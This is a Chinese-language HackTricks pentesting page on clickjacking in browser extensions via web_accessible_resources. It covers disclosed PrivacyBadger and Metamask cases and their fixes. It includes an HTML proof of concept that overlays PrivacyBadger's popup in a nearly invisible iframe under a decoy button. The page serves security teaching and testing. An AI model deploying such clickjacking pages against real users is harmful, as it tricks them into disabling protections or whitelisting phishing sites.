hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

6.7 KiB
Raw Blame History

BrowExt - 点击劫持

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

基本信息

本页面将利用浏览器扩展中的点击劫持漏洞。
如果您不知道什么是点击劫持,请查看:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

扩展包含文件**manifest.json**而该JSON文件具有一个字段web_accessible_resources。以下是Chrome文档对此的解释:

这些资源将通过URL chrome-extension://[PACKAGE ID]/[PATH] 在网页中可用,可以使用**extension.getURL方法**生成。经过白名单授权的资源将使用适当的CORS标头提供因此可以通过诸如XHR之类的机制访问。1

浏览器扩展中的**web_accessible_resources**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能:

  • 更改扩展的状态
  • 加载其他资源
  • 在一定程度上与浏览器交互

然而,这个功能存在安全风险。如果**web_accessible_resources**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的无意用户可能会意外激活此嵌入式资源。根据扩展资源的权限和功能,此激活可能导致意想不到的后果。

PrivacyBadger示例

在扩展程序PrivacyBadger中发现了一个与skin/目录声明为web_accessible_resources相关的漏洞,声明方式如下(查看原始博客文章:

"web_accessible_resources": [
"skin/*",
"icons/*"
]

这种配置导致了潜在的安全问题。具体来说,skin/popup.html 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能被嵌入到一个 iframe 中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危及用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示:https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm

为了解决这个漏洞,实施了一个简单直接的解决方案:从 web_accessible_resources 列表中移除 /skin/*。这一变更有效地通过确保 skin/ 目录的内容不能通过 web 可访问资源访问或操纵来减轻了风险。

修复方法很简单:web_accessible_resources 中移除 /skin/*

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

关于Metamask中ClickJacking的博文可以在这里找到。在这种情况下Metamask通过检查用于访问它的协议是否为**https:http:(例如不是chrome:**)来修复了漏洞:

Metamask扩展中的另一个ClickJacking漏洞是用户可以在页面可疑被钓鱼时点击以将其加入白名单,因为存在“web_accessible_resources”: [“inpage.js”, “phishing.html”]。由于该页面容易受到Clickjacking攻击攻击者可以滥用它显示正常内容使受害者在不知情的情况下点击将其加入白名单然后返回到被加入白名单的钓鱼页面。

Steam Inventory Helper Example

查看以下页面,了解浏览器扩展中的XSS是如何与ClickJacking漏洞链接在一起的:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

References

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式